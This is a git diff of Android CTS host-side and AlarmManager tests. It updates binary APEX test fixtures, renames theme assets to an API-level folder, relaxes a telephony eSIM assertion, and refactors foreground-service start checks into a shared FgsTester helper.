diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_package_name.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_package_name.apex
index de090f1..053df91 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_package_name.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_package_name.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_no_hashtree.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_no_hashtree.apex
index 19ec142..65a5473 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_no_hashtree.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_no_hashtree.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_rebootless.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_rebootless.apex
index 9d68887..9f94684 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_rebootless.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_rebootless.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sdk_target_p.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sdk_target_p.apex
index 9929c3d..8fd510c 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sdk_target_p.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sdk_target_p.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex
index 389871d..baae3e3 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob.apex
index 3f2fc50..1e80788 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot.apex
index cf628ab..c064928 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
index ba5af3b..685f347 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_unsigned_payload.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_unsigned_payload.apex
index 38c073f..f2329ae 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_unsigned_payload.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_unsigned_payload.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_post_install_hook.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_post_install_hook.apex
index cc214f8..bb2d96e 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_post_install_hook.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_post_install_hook.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_pre_install_hook.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
index dab82a0..fd00bd5 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_without_apk_in_apex.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_without_apk_in_apex.apex
index 9706f2f..e7da653 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_without_apk_in_apex.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_without_apk_in_apex.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_wrong_sha.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_wrong_sha.apex
index f305cff..32bf141 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_wrong_sha.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_wrong_sha.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3.apex
index 7f3e9ec..1bd8b1b 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_rebootless.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_rebootless.apex
index 0f5134d..2f7a2e5 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_rebootless.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_rebootless.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob.apex
index 1aeb0b0..38fe019 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob_rot.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob_rot.apex
index 20f1c85..68505d5 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob_rot.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob_rot.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim_not_pre_installed.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim_not_pre_installed.apex
index 806ccc7..7fd07b5 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim_not_pre_installed.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim_not_pre_installed.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/arm/CtsShimTargetPSdk.apk b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/arm/CtsShimTargetPSdk.apk
index 65f2a3b..3d01f0e 100644
--- a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/arm/CtsShimTargetPSdk.apk
+++ b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/arm/CtsShimTargetPSdk.apk
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/x86/CtsShimTargetPSdk.apk b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/x86/CtsShimTargetPSdk.apk
index 65f2a3b..3d01f0e 100644
--- a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/x86/CtsShimTargetPSdk.apk
+++ b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/x86/CtsShimTargetPSdk.apk
Binary files differ
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
index e356ea6..3a45dc0 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
@@ -226,6 +226,7 @@
APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ESTABLISH_VPN_SERVICE, 117);
APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ESTABLISH_VPN_MANAGER, 118);
APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_RESTRICTED_SETTINGS, 119);
+ APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_AMBIENT_TRIGGER_AUDIO, 120);
}
@Test
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java
index 87c29c9..82bf7f9 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java
@@ -123,7 +123,9 @@
assertThat(atom.getSimCount()).isAtMost(getActiveSimCountUpperBound());
assertThat(atom.getEsimCount()).isAtMost(getActiveEsimCountUpperBound());
// Above assertions do no necessarily enforce the following, since some are upper bounds
- assertThat(atom.getActiveSlotCount()).isAtLeast(atom.getSimCount());
+ if (!isEuiccSupportsMultipleEnabledProfiles()) {
+ assertThat(atom.getActiveSlotCount()).isAtLeast(atom.getSimCount());
+ }
assertThat(atom.getSimCount()).isAtLeast(atom.getEsimCount());
assertThat(atom.getEsimCount()).isAtLeast(0);
// For GSM phones, at least one slot should be active even if there is no card
@@ -328,6 +330,16 @@
return Math.toIntExact(count);
}
+ /**
+ * Returns if the device as an eUICC with multiple enable profile support.
+ */
+ private boolean isEuiccSupportsMultipleEnabledProfiles() throws Exception {
+ List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
+ return slots.stream().anyMatch(slot ->
+ "true".equals(slot.get("isEuiccSupportsMultipleEnabledProfiles"))
+ && "true".equals(slot.get("mIsEuicc")));
+ }
+
private Queue<String> getTelephonyDumpEntries() throws Exception {
String response = "";
// Retry if dumpsys wasn't ready (where output is 1 or 2 lines)
diff --git a/hostsidetests/theme/assets/Tiramisu/140dpi.zip b/hostsidetests/theme/assets/33/140dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/140dpi.zip
rename to hostsidetests/theme/assets/33/140dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/180dpi.zip b/hostsidetests/theme/assets/33/180dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/180dpi.zip
rename to hostsidetests/theme/assets/33/180dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/200dpi.zip b/hostsidetests/theme/assets/33/200dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/200dpi.zip
rename to hostsidetests/theme/assets/33/200dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/220dpi.zip b/hostsidetests/theme/assets/33/220dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/220dpi.zip
rename to hostsidetests/theme/assets/33/220dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/260dpi.zip b/hostsidetests/theme/assets/33/260dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/260dpi.zip
rename to hostsidetests/theme/assets/33/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/280dpi.zip b/hostsidetests/theme/assets/33/280dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/280dpi.zip
rename to hostsidetests/theme/assets/33/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/300dpi.zip b/hostsidetests/theme/assets/33/300dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/300dpi.zip
rename to hostsidetests/theme/assets/33/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/340dpi.zip b/hostsidetests/theme/assets/33/340dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/340dpi.zip
rename to hostsidetests/theme/assets/33/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/360dpi.zip b/hostsidetests/theme/assets/33/360dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/360dpi.zip
rename to hostsidetests/theme/assets/33/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/400dpi.zip b/hostsidetests/theme/assets/33/400dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/400dpi.zip
rename to hostsidetests/theme/assets/33/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/420dpi.zip b/hostsidetests/theme/assets/33/420dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/420dpi.zip
rename to hostsidetests/theme/assets/33/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/440dpi.zip b/hostsidetests/theme/assets/33/440dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/440dpi.zip
rename to hostsidetests/theme/assets/33/440dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/560dpi.zip b/hostsidetests/theme/assets/33/560dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/560dpi.zip
rename to hostsidetests/theme/assets/33/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/hdpi.zip b/hostsidetests/theme/assets/33/hdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/hdpi.zip
rename to hostsidetests/theme/assets/33/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/ldpi.zip b/hostsidetests/theme/assets/33/ldpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/ldpi.zip
rename to hostsidetests/theme/assets/33/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/mdpi.zip b/hostsidetests/theme/assets/33/mdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/mdpi.zip
rename to hostsidetests/theme/assets/33/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/tvdpi.zip b/hostsidetests/theme/assets/33/tvdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/tvdpi.zip
rename to hostsidetests/theme/assets/33/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/xhdpi.zip b/hostsidetests/theme/assets/33/xhdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/xhdpi.zip
rename to hostsidetests/theme/assets/33/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/xxhdpi.zip b/hostsidetests/theme/assets/33/xxhdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/xxhdpi.zip
rename to hostsidetests/theme/assets/33/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/xxxhdpi.zip b/hostsidetests/theme/assets/33/xxxhdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/xxxhdpi.zip
rename to hostsidetests/theme/assets/33/xxxhdpi.zip
Binary files differ
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
index 0e7b8b5..db6207d 100644
--- a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
@@ -16,6 +16,7 @@
package android.alarmmanager.alarmtestapp.cts;
+import android.alarmmanager.alarmtestapp.cts.common.FgsTester;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
@@ -24,6 +25,8 @@
public class TestAlarmReceiver extends BroadcastReceiver{
private static final String TAG = TestAlarmReceiver.class.getSimpleName();
private static final String PACKAGE_NAME = "android.alarmmanager.alarmtestapp.cts";
+ private static final String INSTRUMENTATION_PACKAGE = "android.alarmmanager.cts";
+
public static final String ACTION_REPORT_ALARM_EXPIRED = PACKAGE_NAME + ".action.ALARM_EXPIRED";
public static final String EXTRA_ALARM_COUNT = PACKAGE_NAME + ".extra.ALARM_COUNT";
public static final String EXTRA_ID = PACKAGE_NAME + ".extra.ID";
@@ -33,10 +36,18 @@
final int count = intent.getIntExtra(Intent.EXTRA_ALARM_COUNT, 1);
final long id = intent.getLongExtra(EXTRA_ID, -1);
Log.d(TAG, "Alarm " + id + " expired " + count + " times");
- final Intent reportAlarmIntent = new Intent(ACTION_REPORT_ALARM_EXPIRED);
- reportAlarmIntent.putExtra(EXTRA_ALARM_COUNT, count);
- reportAlarmIntent.addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
- reportAlarmIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+
+ final Intent reportAlarmIntent = new Intent(ACTION_REPORT_ALARM_EXPIRED)
+ .putExtra(EXTRA_ALARM_COUNT, count)
+ .setPackage(INSTRUMENTATION_PACKAGE)
+ .addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY)
+ .addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+
+ if (intent.getBooleanExtra(TestAlarmScheduler.EXTRA_TEST_FGS, false)) {
+ final String result = FgsTester.tryStartingFgs(context);
+ Log.d(TAG, "FGS start result: " + result);
+ reportAlarmIntent.putExtra(FgsTester.EXTRA_FGS_START_RESULT, result);
+ }
context.sendBroadcast(reportAlarmIntent);
}
}
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java
index d9db0b0..78eb875 100644
--- a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java
@@ -40,6 +40,7 @@
public static final String EXTRA_TYPE = PACKAGE_NAME + ".extra.TYPE";
public static final String ACTION_SET_ALARM_CLOCK = PACKAGE_NAME + ".action.SET_ALARM_CLOCK";
public static final String EXTRA_ALARM_CLOCK_INFO = PACKAGE_NAME + ".extra.ALARM_CLOCK_INFO";
+ public static final String EXTRA_TEST_FGS = PACKAGE_NAME + ".extra.TEST_FGS";
public static final String ACTION_CANCEL_ALL_ALARMS = PACKAGE_NAME + ".action.CANCEL_ALARMS";
@Override
@@ -49,6 +50,7 @@
receiverIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
final long id = SystemClock.elapsedRealtime();
receiverIntent.putExtra(TestAlarmReceiver.EXTRA_ID, id);
+ receiverIntent.putExtra(EXTRA_TEST_FGS, intent.getBooleanExtra(EXTRA_TEST_FGS, false));
final PendingIntent alarmClockSender = PendingIntent.getBroadcast(context, 0,
receiverIntent, PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);
final PendingIntent alarmSender = PendingIntent.getBroadcast(context, 1, receiverIntent,
diff --git a/tests/AlarmManager/app_common/src/android/alarmmanager/alarmtestapp/cts/common/FgsTester.java b/tests/AlarmManager/app_common/src/android/alarmmanager/alarmtestapp/cts/common/FgsTester.java
new file mode 100644
index 0000000..f3e0be6
--- /dev/null
+++ b/tests/AlarmManager/app_common/src/android/alarmmanager/alarmtestapp/cts/common/FgsTester.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.alarmtestapp.cts.common;
+
+import android.app.ForegroundServiceStartNotAllowedException;
+import android.content.Context;
+import android.content.Intent;
+
+public class FgsTester {
+ public static final String EXTRA_FGS_START_RESULT =
+ "android.alarmmanager.alarmtestapp.cts.common.extra.FGS_START_RESULT";
+
+ private FgsTester() {
+ }
+
+ public static String tryStartingFgs(Context context) {
+ String result;
+ try {
+ // Try starting a foreground service.
+ Intent i = new Intent(context, TestService.class);
+ context.startForegroundService(i);
+
+ result = ""; // Indicates success
+ } catch (ForegroundServiceStartNotAllowedException e) {
+ result = "ForegroundServiceStartNotAllowedException was thrown";
+ } catch (Exception e) {
+ result = "Unexpected exception was thrown: " + e;
+ }
+ return result;
+ }
+}
diff --git a/tests/AlarmManager/app_common/src/android/alarmmanager/alarmtestapp/cts/common/PermissionStateChangedReceiver.java b/tests/AlarmManager/app_common/src/android/alarmmanager/alarmtestapp/cts/common/PermissionStateChangedReceiver.java
index 9adc4a7..573d10c 100644
--- a/tests/AlarmManager/app_common/src/android/alarmmanager/alarmtestapp/cts/common/PermissionStateChangedReceiver.java
+++ b/tests/AlarmManager/app_common/src/android/alarmmanager/alarmtestapp/cts/common/PermissionStateChangedReceiver.java
@@ -17,7 +17,6 @@
package android.alarmmanager.alarmtestapp.cts.common;
import android.app.AlarmManager;
-import android.app.ForegroundServiceStartNotAllowedException;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
@@ -30,41 +29,26 @@
public class PermissionStateChangedReceiver extends BroadcastReceiver {
private static final String TAG = PermissionStateChangedReceiver.class.getSimpleName();
private static final String PACKAGE_NAME = "android.alarmmanager.alarmtestapp.cts.common";
-
private static final String MAIN_CTS_PACKAGE = "android.alarmmanager.cts";
- public static String ACTION_FGS_START_RESULT = PACKAGE_NAME + ".action.FGS_START_RESULT";
- public static String EXTRA_FGS_START_RESULT = PACKAGE_NAME + ".extra.FGS_START_RESULT";
+ public static final String ACTION_FGS_START_RESULT = PACKAGE_NAME + ".action.FGS_START_RESULT";
@Override
public void onReceive(Context context, Intent intent) {
Log.d(TAG, "Broadcast received: " + intent);
if (AlarmManager.ACTION_SCHEDULE_EXACT_ALARM_PERMISSION_STATE_CHANGED
.equals(intent.getAction())) {
- tryStartingFgs(context);
+
+ final String result = FgsTester.tryStartingFgs(context);
+
+ // Send the result broadcast to the main CTS package.
+ final Intent response = new Intent(ACTION_FGS_START_RESULT);
+ response.setPackage(MAIN_CTS_PACKAGE);
+ response.putExtra(FgsTester.EXTRA_FGS_START_RESULT, result);
+
+ Log.d(TAG, "Sending response: " + result);
+ context.sendBroadcast(response);
}
}
- private void tryStartingFgs(Context context) {
- String result = "Unknown failure";
- try {
- // Try starting a foreground service.
- Intent i = new Intent(context, TestService.class);
- context.startForegroundService(i);
-
- result = ""; // Indicates success
- } catch (ForegroundServiceStartNotAllowedException e) {
- result = "ForegroundServiceStartNotAllowedException was thrown";
- } catch (Exception e) {
- result = "Unexpected exception was thrown: " + e;
- }
-
- // Send the result broadcast to the main CTS package.
- Intent response = new Intent(ACTION_FGS_START_RESULT);
- response.setPackage(MAIN_CTS_PACKAGE);
- response.putExtra(EXTRA_FGS_START_RESULT, result);
-
- Log.d(TAG, "Sending response: " + result);
- context.sendBroadcast(response);
- }
}
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java b/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java
index 0cf62ed..44780e7 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java
@@ -26,6 +26,9 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeFalse;
+import android.alarmmanager.alarmtestapp.cts.TestAlarmReceiver;
+import android.alarmmanager.alarmtestapp.cts.TestAlarmScheduler;
+import android.alarmmanager.alarmtestapp.cts.common.FgsTester;
import android.alarmmanager.alarmtestapp.cts.common.PermissionStateChangedReceiver;
import android.alarmmanager.alarmtestapp.cts.common.RequestReceiver;
import android.alarmmanager.util.AlarmManagerDeviceConfigHelper;
@@ -34,6 +37,7 @@
import android.app.AlarmManager;
import android.app.AppOpsManager;
import android.app.PendingIntent;
+import android.app.compat.CompatChanges;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
@@ -142,6 +146,7 @@
.with("allow_while_idle_quota", ALLOW_WHILE_IDLE_QUOTA)
.with("allow_while_idle_compat_quota", ALLOW_WHILE_IDLE_COMPAT_QUOTA)
.with("allow_while_idle_window", ALLOW_WHILE_IDLE_WINDOW)
+ .with("kill_on_schedule_exact_alarm_revoked", false)
.commitAndAwaitPropagation();
}
@@ -155,8 +160,6 @@
public void enableChanges() {
Utils.enableChangeForSelf(AlarmManager.REQUIRE_EXACT_ALARM_PERMISSION);
Utils.enableChangeForSelf(AlarmManager.ENABLE_USE_EXACT_ALARM);
- Utils.enableChange(AlarmManager.SCHEDULE_EXACT_ALARM_DENIED_BY_DEFAULT, TEST_APP_PACKAGE,
- sContext.getUserId());
}
@After
@@ -191,14 +194,14 @@
PackageManager.DONT_KILL_APP));
}
- private void resetAppOps() throws IOException {
+ @After
+ public void resetAppOps() throws IOException {
AppOpsUtils.reset(TEST_APP_PACKAGE);
+ AppOpsUtils.reset(TEST_APP_30);
}
@After
public void restoreAlarmManagerConstants() throws IOException {
- // App ops must be reset while kill_on_schedule_exact_alarm_revoked=false
- resetAppOps();
mDeviceConfigHelper.restoreAll();
}
@@ -247,21 +250,25 @@
}
@Test
+ public void scheduleExactAlarmChangeDisabled() {
+ assertFalse(CompatChanges.isChangeEnabled(
+ AlarmManager.SCHEDULE_EXACT_ALARM_DENIED_BY_DEFAULT));
+ }
+
+ @Test
public void defaultBehaviorWhenChangeDisabled() throws Exception {
setAppOp(TEST_APP_PACKAGE, AppOpsManager.MODE_DEFAULT);
- mDeviceConfigHelper.with("schedule_exact_alarm_denied_by_default", false)
- .commitAndAwaitPropagation();
assertTrue(getCanScheduleExactAlarmFromTestApp(TEST_APP_PACKAGE));
mDeviceConfigHelper.with("exact_alarm_deny_list", TEST_APP_PACKAGE)
.commitAndAwaitPropagation();
- // Just to give some time for the app kill to complete.
- Thread.sleep(1000);
assertFalse(getCanScheduleExactAlarmFromTestApp(TEST_APP_PACKAGE));
}
@Test
- public void noPermissionByDefault() throws Exception {
+ public void defaultBehaviorWhenChangeEnabled() throws Exception {
+ Utils.enableChange(AlarmManager.SCHEDULE_EXACT_ALARM_DENIED_BY_DEFAULT, TEST_APP_PACKAGE,
+ sContext.getUserId());
setAppOp(TEST_APP_PACKAGE, AppOpsManager.MODE_DEFAULT);
assertFalse(getCanScheduleExactAlarmFromTestApp(TEST_APP_PACKAGE));
}
@@ -362,6 +369,61 @@
() -> mWhitelistManager.addToWhitelist(sContext.getOpPackageName()));
}
+ private void setAlarmClockForFgs(long triggerRTC, String testAppName) throws Exception {
+ final CountDownLatch resultLatch = new CountDownLatch(1);
+ final AtomicInteger result = new AtomicInteger(-1);
+
+ AlarmManager.AlarmClockInfo alarmInfo = new AlarmManager.AlarmClockInfo(triggerRTC, null);
+
+ final Intent requestToTestApp = new Intent(TestAlarmScheduler.ACTION_SET_ALARM_CLOCK)
+ .setClassName(testAppName, TestAlarmScheduler.class.getName())
+ .putExtra(TestAlarmScheduler.EXTRA_ALARM_CLOCK_INFO, alarmInfo)
+ .putExtra(TestAlarmScheduler.EXTRA_TEST_FGS, true)
